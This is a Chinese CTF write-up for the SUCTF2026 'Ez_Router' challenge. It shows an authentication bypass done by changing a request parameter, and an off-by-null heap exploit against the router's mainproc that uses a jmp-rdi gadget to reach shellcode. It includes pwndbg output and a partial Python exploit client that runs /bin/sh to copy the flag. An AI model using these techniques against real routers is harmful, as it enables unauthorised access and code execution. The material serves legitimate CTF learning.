SUCTF2026Ez_Router

admin 2026-04-02 04:43:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了SUCTF2026Ez_Router的解题过程,主要包括前端越权和二进制分析两部分。首先,通过抓包发现登录请求中的auth参数,将其值从0改为1即可绕过认证直接登录。接着,对固件进行逆向分析,梳理了http服务器与cgi-bin脚本的交互流程,并重点分析了mainproc进程。研究发现,mainproc通过消息队列处理来自cgi的请求,并存在使用不安全的strcpy函数进行字符串复制的情况,这可能导致栈溢出等安全问题。 综合评分: 85 文章分类: CTF,WEB安全,二进制安全,渗透测试,漏洞分析


cover_image

SUCTF2026 Ez_Router

zer00ne zer00ne

看雪学苑

2026年3月30日 18:09 上海

前端越权

通过抓包登录的报文, 我们可以发现如果先是随便输入一对账密。

会抓到一个发向http的包:

GET /www/http?auth=0&action=login HTTP/1.1
Host: 192.168.41.128:8080
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.41.128:8080/index.html
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

可以看到有一个参数auth=0

此时如果放行报文就会登录失败, 但是将auth的值改成1就可以登录成功

GET /control.html HTTP/1.1
Host: 192.168.41.128:8080
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.41.128:8080/index.html
Accept-Encoding: gzip, deflate, br
Cookie: session_id=72cb56e041a043ee6dfc3427033ef203
Connection: keep-alive

二进制分析

架构分析

首先可以来到固件与备份, 将这个项目下载得到二进制文件:

├── http
├── lib
│   └── libutils.so
├── mainproc
├── start.sh
├── tmp
│   └── sessions
└── www
    ├── cgi-bin
    │   ├── download.cgi
    │   ├── list.cgi
    │   ├── login.cgi
    │   ├── ping.cgi
    │   ├── restart.sh
    │   ├── vpn.cgi
    │   └── wifi.cgi
    ├── control.html
    ├── css
    │   ├── dashboard.css
    │   ├── fontawesome
    │   │   └── css
    │   │       └── all.min.css
    │   └── fonts
    │       ├── inter.css
    │       └── Inter-Regular.woff2
    ├── index.html
    └── js
        └── dashboard.js

首先可以分析得到请求的传输流程html -> /cgi-bin/*.cgi

对http进行分析, 可以发现这个文件:

  1. 将请求转发给/cgi-bin/*.cgi
  2. 处理静态资源, 并对除了login.html的静态资源进行鉴权
  3. 接收login.cgi的重定向请求, 并为auth=1的会话设置cookie

接下来我们可以结合html页面和cgi综合分析每个业务逻辑的链路

业务逻辑

除了重启按钮以外, 几乎每一个接口都有对应的cgi

直接从docker启动脚本中发现:

#!/bin/bash

# Ensure sessions directory exists
mkdir -p /app/tmp/sessions

# Start the main backend process in the background
echo "Starting mainproc..."
./mainproc &

# Give mainproc a moment to initialize (e.g., set up message queues)
sleep 2

# Start the Web Server in the foreground on port 80
echo "Starting http server on port 80..."
./http 80

起docker的时候顺手将mainproc拉起放置在后台, 可以猜测具体的功能实现在mainproc

mainproc

现在就该重点分析mainproc了

首先可以发现这个文件中的init_array存在一个函数指针:

__attribute__((constructor)) voidInit() {
void *ptr = malloc(0xf000);
void *heap_current = sbrk(0);
uintptr_t page_align_mask = ~((uintptr_t)0xFFF);
void *heap_base = (void *)((uintptr_t)ptr & page_align_mask);
mprotect(heap_base, 0x21000, PROT_READ | PROT_WRITE | PROT_EXEC);
free(ptr);
}

获取了堆的基地址, 并为其添加了x(可执行权限)

intmain(int argc, char *argv[]) {
if (argc > 1 && strcmp(argv[1], "-d") == 0) {
if&nbsp;(daemon(1,&nbsp;0) <&nbsp;0) {
perror("daemon");
exit(1);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
setvbuf(stdout,&nbsp;NULL, _IONBF,&nbsp;0);
setvbuf(stderr,&nbsp;NULL, _IONBF,&nbsp;0);
struct&nbsp;router_msgbuf&nbsp;msg;
while&nbsp;(1) {
memset(&msg,&nbsp;0,&nbsp;sizeof(msg))
if&nbsp;(CFG_GET(0, &msg,&nbsp;sizeof(msg)) ==&nbsp;-1) {
usleep(100000);
continue;
&nbsp; &nbsp; &nbsp; &nbsp; }

dispatch_action(&msg);
&nbsp; &nbsp; }
return&nbsp;0;
}

接着在dispatch_action函数中可以发现一个巨大的switch-case结构(IDA的反编译会变成if-else结构)

switch&nbsp;(msg->mtype) {
case&nbsp;0x6374fe30:
Set_WIFI(msg);
break;
case&nbsp;0x74122f00:
case&nbsp;0x74122c02:
Add_MAC(msg);
break;
case&nbsp;0x32ee2000:
case&nbsp;0x32ef2030:
Del_MAC(msg);
break;
case&nbsp;0x9313f7e0:
Set_VPN(msg);
break;
case&nbsp;0xe6133f10:
Edit_VPN_Custom(msg);
break;
case&nbsp;0x96e7ff60:
Apply_VPN();
break;
default:
printf("[WARN] Received unknown message type: 0x%lx\n", msg->mtype);
break;

根据不同的魔数, 调用不同功能的函数, 从cgi中提取不同的功能可以整理出接口与处理函数的对应关系。

接下来应该梳理不同结构体, 结构体从IDA静态分析不是很容易, 推荐通过gdb调试描绘结构体轮廓。

黑白名单 :

struct&nbsp;__attribute__((packed)) mac_req {
&nbsp; &nbsp; int idx;
&nbsp; &nbsp; char mac[0x10];
&nbsp; &nbsp; char note[0x1c];
};

wifi设置 :

struct wifi_req {
&nbsp; &nbsp; char ssid[0x40];
&nbsp; &nbsp; char password[0x40];
};

这两种结构体只会在堆上创建两种不同大小的堆块, 没有具体的作用

vpn :

在vpn.cgi中

struct&nbsp;__attribute__((packed)) vpn_recv {
&nbsp; &nbsp; &nbsp; &nbsp; char action[0x20];
&nbsp; &nbsp; &nbsp; &nbsp; char name[0x20];
&nbsp; &nbsp; &nbsp; &nbsp; char proto[0x20];
&nbsp; &nbsp; &nbsp; &nbsp; char server[0x30];
&nbsp; &nbsp; &nbsp; &nbsp; char user[0x20];
&nbsp; &nbsp; &nbsp; &nbsp; char pass[0x20];
&nbsp; &nbsp; &nbsp; &nbsp; char cert[8];
&nbsp; &nbsp; &nbsp; &nbsp; char&nbsp;gap[1];
&nbsp; &nbsp; &nbsp; &nbsp; char custom[3000];
};

在mainproc中

struct vpn_config_req {
&nbsp; &nbsp; uint16_t custom_len;
&nbsp; &nbsp; char _pad[6];
&nbsp; &nbsp; char cert[8];
&nbsp; &nbsp; void (*apply_cb)(struct vpn_config_req *);
&nbsp; &nbsp; char action[0x20];
&nbsp; &nbsp; char name[0x20];
&nbsp; &nbsp; char proto[0x20];
&nbsp; &nbsp; char server[0x30];
&nbsp; &nbsp; char user[0x20];
&nbsp; &nbsp; char pass[0x20];
&nbsp; &nbsp; char *custom_ptr;
};

可以发现vpn结构体在两个进程中的结构差异很大, 且在mainproc中存在函数和内存两种指针。

不同的处理函数的逻辑很简单, 包括vpn也是, 从cgi结构体中将同名成员复制到mainproc结构体中。

但是注意, 这里使用了不安全的strcpy且没有做保护:

void&nbsp;Set_VPN(struct&nbsp;router_msgbuf&nbsp;*msg) {
&nbsp; &nbsp; int idx =&nbsp;0;
if&nbsp;(vpn_list[idx]) {
printf("[!] VPN already configured once. Use Edit_VPN_Custom for modifications.\n");
return;
&nbsp; &nbsp; }

struct&nbsp;vpn_recv&nbsp;*input = (struct&nbsp;vpn_recv&nbsp;*)msg->payload;

&nbsp; &nbsp; vpn_list[idx] = (struct&nbsp;vpn_config_req&nbsp;*)malloc(sizeof(struct&nbsp;vpn_config_req));
&nbsp; &nbsp; size_t custom_len =&nbsp;strlen(input->custom);
&nbsp; &nbsp; vpn_list[idx]->custom_len = custom_len;
if&nbsp;(custom_len >&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; vpn_list[idx]->custom_ptr =&nbsp;malloc(custom_len +&nbsp;1);
memcpy(vpn_list[idx]->custom_ptr, input->custom, custom_len);
&nbsp; &nbsp; &nbsp; &nbsp; vpn_list[idx]->custom_ptr[custom_len] =&nbsp;'\0';
&nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; vpn_list[idx]->custom_ptr = NULL;
&nbsp; &nbsp; }
&nbsp; &nbsp; vpn_list[idx]->apply_cb = default_vpn_apply;
strcpy(vpn_list[idx]->action, input->action);
strcpy(vpn_list[idx]->name, input->name);
strcpy(vpn_list[idx]->proto, input->proto);
strcpy(vpn_list[idx]->server, input->server);
strcpy(vpn_list[idx]->user, input->user);
strcpy(vpn_list[idx]->pass, input->pass);
memcpy(vpn_list[idx]->cert, input->cert,sizeof(input->cert));
}

我们知道这些成员都是从json中取出来的, 一般的json都会在字段的结构加上’\0′

但如果我们前往.so审计

voidextract_json_string(constchar&nbsp;*json,&nbsp;constchar&nbsp;*key,&nbsp;char&nbsp;*out,&nbsp;size_t&nbsp;max_len)&nbsp;{
&nbsp; &nbsp; out[0] =&nbsp;'\0';
char&nbsp;search_key[128];
snprintf(search_key,&nbsp;sizeof(search_key),&nbsp;""%s"", key);

char&nbsp;*p =&nbsp;strstr(json, search_key);
if&nbsp;(!p)&nbsp;return;

&nbsp; &nbsp; p +=&nbsp;strlen(search_key);
while&nbsp;(*p ==&nbsp;' '&nbsp;|| *p ==&nbsp;':') p++;

if&nbsp;(*p ==&nbsp;'"') {
&nbsp; &nbsp; &nbsp; &nbsp; p++;
size_t&nbsp;i =&nbsp;0;
while&nbsp;(*p !=&nbsp;'"'&nbsp;&& *p !=&nbsp;'\0'&nbsp;&& i < max_len) {
if&nbsp;(*p ==&nbsp;'\\'&nbsp;&& *(p+1) !=&nbsp;'\0') {
if&nbsp;(*(p+1) ==&nbsp;'\\'&nbsp;&& *(p+2) ==&nbsp;'x'&nbsp;&&&nbsp;isxdigit(*(p+3)) &&&nbsp;isxdigit(*(p+4))) {
char&nbsp;hex[3] = { *(p+3), *(p+4),&nbsp;0&nbsp;};
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out[i++] = (char)strtol(hex,&nbsp;NULL,&nbsp;16);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p +=&nbsp;4;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
else&nbsp;if&nbsp;(*(p+1) ==&nbsp;'x'&nbsp;&&&nbsp;isxdigit(*(p+2)) &&&nbsp;isxdigit(*(p+3))) {
char&nbsp;hex[3] = { *(p+2), *(p+3),&nbsp;0&nbsp;};
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out[i++] = (char)strtol(hex,&nbsp;NULL,&nbsp;16);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p +=&nbsp;3;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p++;
if&nbsp;(*p ==&nbsp;'n') out[i++] =&nbsp;'\n';
else&nbsp;if&nbsp;(*p ==&nbsp;'r') out[i++] =&nbsp;'\r';
else&nbsp;if&nbsp;(*p ==&nbsp;'"') out[i++] =&nbsp;'"';
else&nbsp;if&nbsp;(*p ==&nbsp;'\\') out[i++] =&nbsp;'\\';
else&nbsp;out[i++] = *p;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out[i++] = *p;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p++;
&nbsp; &nbsp; &nbsp; &nbsp; }
if&nbsp;(i < max_len) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; out[i] =&nbsp;'\0';
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

发现当字段的预定长度被充满后, 就不会在末尾加上null戳

结合strcpy我们就可以实现off-by-null

从结构体结构上看, 最有溢出价值的字段就是certpass字段, 可以修改两种指针的末尾。

但是在IDA中审计发现, 如果把default_vpn_apply的末尾改成null, 会跳转到一个导致进程段错误的地址。

所以可以利用的字段只剩下了pass字段, 可以修改custom字段的末尾, 而且custom指向的是堆地址。

我们可以用堆风水的手段, 让custom能指向一个能够修改函数指针的地址。

size_tdecode_base64_in_place(char&nbsp;*str)&nbsp;{
staticconstint&nbsp;b64_index[256] = {
0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0,
0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0,
0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0,&nbsp;62,&nbsp;63,&nbsp;62,&nbsp;62,&nbsp;63,
52,&nbsp;53,&nbsp;54,&nbsp;55,&nbsp;56,&nbsp;57,&nbsp;58,&nbsp;59,&nbsp;60,&nbsp;61, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0,
0, &nbsp;0, &nbsp;1, &nbsp;2, &nbsp;3, &nbsp;4, &nbsp;5, &nbsp;6, &nbsp;7, &nbsp;8, &nbsp;9,&nbsp;10,&nbsp;11,&nbsp;12,&nbsp;13,&nbsp;14,
15,&nbsp;16,&nbsp;17,&nbsp;18,&nbsp;19,&nbsp;20,&nbsp;21,&nbsp;22,&nbsp;23,&nbsp;24,&nbsp;25, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0,
0,&nbsp;26,&nbsp;27,&nbsp;28,&nbsp;29,&nbsp;30,&nbsp;31,&nbsp;32,&nbsp;33,&nbsp;34,&nbsp;35,&nbsp;36,&nbsp;37,&nbsp;38,&nbsp;39,&nbsp;40,
41,&nbsp;42,&nbsp;43,&nbsp;44,&nbsp;45,&nbsp;46,&nbsp;47,&nbsp;48,&nbsp;49,&nbsp;50,&nbsp;51, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0,
0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0,
0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0,
0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0,
0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0,
0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0,
0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0,
0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0,
0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0, &nbsp;0
&nbsp; &nbsp; };

size_t&nbsp;in_len =&nbsp;strlen(str);
if&nbsp;(in_len ==&nbsp;0)&nbsp;return&nbsp;0;
if&nbsp;(strncmp(str,&nbsp;"B64:",&nbsp;4) !=&nbsp;0) {
return&nbsp;in_len;
&nbsp; &nbsp; }

char&nbsp;*in = str +&nbsp;4;
&nbsp; &nbsp; in_len -=&nbsp;4;
size_t&nbsp;out_len =&nbsp;0;

for&nbsp;(size_t&nbsp;i =&nbsp;0; i < in_len; i +=&nbsp;4) {
int&nbsp;n = b64_index[(unsignedchar)in[i]] <<&nbsp;18&nbsp;|
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; b64_index[(unsignedchar)in[i+1]] <<&nbsp;12&nbsp;|
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; b64_index[(unsignedchar)in[i+2]] <<&nbsp;6&nbsp;|
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; b64_index[(unsignedchar)in[i+3]];

&nbsp; &nbsp; &nbsp; &nbsp; str[out_len++] = n >>&nbsp;16;
if&nbsp;(in[i+2] !=&nbsp;'=') str[out_len++] = n >>&nbsp;8&nbsp;&&nbsp;0xFF;
if&nbsp;(in[i+3] !=&nbsp;'=') str[out_len++] = n &&nbsp;0xFF;
&nbsp; &nbsp; }
return&nbsp;out_len;
}

同时可以发现在vpn.cgi中, 当字段以B64开头, 整个字段会被base64编码后使用json传输, 这解决了json对不可见字符传递的局限性。

现在可以考虑如何进行堆风水了, 既然想把custom指向函数指针, 我们就要让末尾被置零后的地址小于等于函数指针。

&nbsp; &nbsp; void (*apply_cb)(struct vpn_config_req *);
&nbsp; &nbsp; char action[0x20];
&nbsp; &nbsp; char name[0x20];
&nbsp; &nbsp; char proto[0x20];
&nbsp; &nbsp; char server[0x30];
&nbsp; &nbsp; char user[0x20];
&nbsp; &nbsp; char pass[0x20];
&nbsp; &nbsp; char *custom_ptr;

可以看到这两个地址间的offset为8+0x20+0x20+0x20+0x30+0x20+0x20=0xd8

最好的解决方法是让void (*apply_cb)(struct vpn_config_req *)的最低字节为00

通过简单的计算可以得到, 我们只需要进行wifi*1 + list*7边可以将函数指针挤到末字节为00的地址。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x90 (with flag bits: 0x91)

Allocated chunk | PREV_INUSE
Addr: 0x555555559320
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x555555559360
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x5555555593a0
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x5555555593e0
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x555555559420
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x555555559460
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x5555555594a0
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x5555555594e0
Size: 0x100 (with flag bits: 0x101)

Allocated chunk | PREV_INUSE
Addr: 0x5555555595e0
Size: 0x800 (with flag bits: 0x801)

Top chunk | PREV_INUSE
Addr: 0x555555559de0
Size: 0x20220 (with flag bits: 0x20221)

pwndbg> telescope 0x5555555594e0
00:0000│ &nbsp; &nbsp; 0x5555555594e0 ◂— 0
01:0008│ &nbsp; &nbsp; 0x5555555594e8 ◂— 0x101
02:0010│ &nbsp; &nbsp; 0x5555555594f0 ◂— 0x7eb
03:0018│ &nbsp; &nbsp; 0x5555555594f8 ◂— 0xf2e900
04:0020│ &nbsp; &nbsp; 0x555555559500 —▸ 0x55555555540d (default_vpn_apply) ◂— endbr64 (here)
05:0028│ &nbsp; &nbsp; 0x555555559508 ◂— 0x746573 /* 'set' */
06:0030│ &nbsp; &nbsp; 0x555555559510 ◂— 0
07:0038│ &nbsp; &nbsp; 0x555555559518 ◂— 0
pwndbg>
08:0040│ &nbsp; &nbsp; 0x555555559520 ◂— 0
09:0048│ &nbsp; &nbsp; 0x555555559528 ◂— 0x31 /* '1' */
0a:0050│ &nbsp; &nbsp; 0x555555559530 ◂— 0
... ↓ &nbsp; &nbsp; 2 skipped
0d:0068│ &nbsp; &nbsp; 0x555555559548 ◂— 0x6e70766e65706f /* 'openvpn' */
0e:0070│ &nbsp; &nbsp; 0x555555559550 ◂— 0
0f:0078│ &nbsp; &nbsp; 0x555555559558 ◂— 0
pwndbg>
10:0080│ &nbsp; &nbsp; 0x555555559560 ◂— 0
11:0088│ &nbsp; &nbsp; 0x555555559568 ◂— 0x32 /* '2' */
12:0090│ &nbsp; &nbsp; 0x555555559570 ◂— 0
... ↓ &nbsp; &nbsp; 4 skipped
17:00b8│ &nbsp; &nbsp; 0x555555559598 ◂— 0x33 /* '3' */
pwndbg>
18:00c0│ &nbsp; &nbsp; 0x5555555595a0 ◂— 0
... ↓ &nbsp; &nbsp; 2 skipped
1b:00d8│ &nbsp; &nbsp; 0x5555555595b8 ◂— '4444444444444444444444444'
... ↓ &nbsp; &nbsp; 2 skipped
1e:00f0│ &nbsp; &nbsp; 0x5555555595d0 ◂— 0x34 /* '4' */
1f:00f8│ &nbsp; &nbsp; 0x5555555595d8 —▸ 0x5555555595f0 ◂— 0x10101010101b848

此时从pass字段溢出null, 就可以让custom指向04:0020│ &nbsp; &nbsp; 0x555555559500 —▸ 0x55555555540d (default_vpn_apply) ◂— endbr64

我们便可以修改函数指针

gadget选择

修改gadget, 需要我们观察default_vpn_apply的函数签名, 可以发现这个函数。

voiddefault_vpn_apply(struct&nbsp;vpn_config_req *req)&nbsp;{
printf("[SYS] Applying VPN settings for: %s\n", req->name);
}

这个函数有一个一参

使用ROPgadget --binary mainproc > gadget提取全部gadget

发现了一个特殊的gadget :jmp rdi

如果函数指针被覆盖为这个 , 我们便可以跳转到req上, 具体来说是vpn结构体的第一个字段 :uint16_t custom_len;

将这个长度作为机器码执行

此时的我们便可以任意执行两个字节, 这肯定是不够的。

常见的作法就是将这两个字节写作跳转指令, 方便我们跳转更高地址的堆上执行代码。

处理得当我们就能得到funtion_ptr->length->cert->custom的jop链, 最终跳转到custom上, 几乎无限长度地执行shellcode。

我选择是是先在length处jmp $+9, 然后再cert中jmp $+offset进行一段较长跳转, 最后在custom上做nop滑梯2shellcode。

这个过程中因为PIE保护, 需要进行1/16概率的爆破, 才能将jmp rdi写入函数指针

shellcode

由于mainproc没有回显, 我们可以加载将flag写入/www/下的html文件的方法获得flag。

因为http可以代理所有/www/*.html文件

EXP 经验

综上所述, 将攻击手法转化为http报文后, exp如下:

from&nbsp;pwn&nbsp;import&nbsp;*
import&nbsp;requests
import&nbsp;json
import&nbsp;sys
import&nbsp;base64
context.arch='amd64'
class&nbsp;IoTClient:
def&nbsp;__init__(self, base_url="http://localhost:8080"):
&nbsp; &nbsp; &nbsp; &nbsp; self.base_url = base_url.rstrip('/')
&nbsp; &nbsp; &nbsp; &nbsp; self.session = requests.Session()

def&nbsp;login_bypass(self):
&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.base_url}/www/http?action=login&auth=1"
try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = self.session.get(url, allow_redirects=False)
if&nbsp;'session_id'&nbsp;in&nbsp;self.session.cookies:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; log.info(f"Login bypass success. Session ID:&nbsp;{self.session.cookies['session_id']}")
return&nbsp;True
else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; log.error("Failed to obtain session.")
return&nbsp;False
except&nbsp;Exception&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; log.error(f"Connection Error:&nbsp;{e}")
return&nbsp;False

def&nbsp;_serialize_payload(self, data):
&nbsp; &nbsp; &nbsp; &nbsp; serialized = {}
for&nbsp;k, v&nbsp;in&nbsp;data.items():
if&nbsp;isinstance(v,&nbsp;bytes):
if&nbsp;k ==&nbsp;"custom":
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; serialized[k] =&nbsp;"B64:"&nbsp;+ base64.b64encode(v).decode('utf-8')
else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; serialized[k] =&nbsp;"".join(f"\\x{c:02x}"&nbsp;for&nbsp;c&nbsp;in&nbsp;v)
elif&nbsp;isinstance(v,&nbsp;str):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; serialized[k] = v
else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; serialized[k] = v
return&nbsp;serialized

def&nbsp;set_vpn(self, name, proto="openvpn", server="127.0.0.1", user="admin", password="password", cert="cert.ovpn", custom=""):
&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.base_url}/cgi-bin/vpn.cgi"

&nbsp; &nbsp; &nbsp; &nbsp; payload = self._serialize_payload({
"action":&nbsp;"set",
"name": name,
"proto": proto,
"server": server,
"user": user,
"pass": password,
"cert": cert,
"custom": custom
&nbsp; &nbsp; &nbsp; &nbsp; })
return&nbsp;self._post_json(url, payload)

def&nbsp;edit_vpn(self, custom_content):
&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.base_url}/cgi-bin/vpn.cgi"

&nbsp; &nbsp; &nbsp; &nbsp; payload = self._serialize_payload({
"action":&nbsp;"edit",
"custom": custom_content
&nbsp; &nbsp; &nbsp; &nbsp; })
return&nbsp;self._post_json(url, payload)

def&nbsp;apply_vpn(self):
&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.base_url}/cgi-bin/vpn.cgi"
&nbsp; &nbsp; &nbsp; &nbsp; payload = {
"action":&nbsp;"apply"
&nbsp; &nbsp; &nbsp; &nbsp; }
return&nbsp;self._post_json(url, payload)

def&nbsp;set_wifi(self, ssid, password):
&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.base_url}/cgi-bin/wifi.cgi"
&nbsp; &nbsp; &nbsp; &nbsp; data = {
"action":&nbsp;"save",
"ssid": ssid,
"password": password
&nbsp; &nbsp; &nbsp; &nbsp; }
return&nbsp;self._post_form(url, data)

def&nbsp;manage_list(self, action, idx, mac="", note=""):
&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.base_url}/cgi-bin/list.cgi"
&nbsp; &nbsp; &nbsp; &nbsp; data = {
"action": action,
"idx": idx,
"mac": mac,
"note": note
&nbsp; &nbsp; &nbsp; &nbsp; }
return&nbsp;self._post_form(url, data)

def&nbsp;_post_json(self, url, json_data):
try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = self.session.post(url, json=json_data)
return&nbsp;resp.json()
except&nbsp;Exception&nbsp;as&nbsp;e:
return&nbsp;{"status":&nbsp;"error",&nbsp;"message":&nbsp;str(e)}

def&nbsp;_post_form(self, url, data):
try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = self.session.post(url, data=data)
return&nbsp;resp.json()
except&nbsp;Exception&nbsp;as&nbsp;e:
return&nbsp;{"status":&nbsp;"error",&nbsp;"message":&nbsp;str(e)}
if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; client = IoTClient()
if&nbsp;not&nbsp;client.login_bypass():
&nbsp; &nbsp; &nbsp; &nbsp; log.error("Login bypass failed. Check if the server is running and reachable.")
&nbsp; &nbsp; &nbsp; &nbsp; exit(1)
&nbsp; &nbsp; log.info("Step 1: Setting WiFi...")
print(client.set_wifi(ssid="1", password="2"))
&nbsp; &nbsp; log.info("Step 2: Adding 7 blacklist entries...")
for&nbsp;i&nbsp;in&nbsp;range(7):
print(client.manage_list(action="add_black", idx=i, mac="123", note="123"))
&nbsp; &nbsp; log.info("Step 3: Setting VPN initial config...")
&nbsp; &nbsp; shellcode= asm(shellcraft.execve("/bin/sh",["/bin/sh","-c","cat flag > ./www/flag.html"],0))
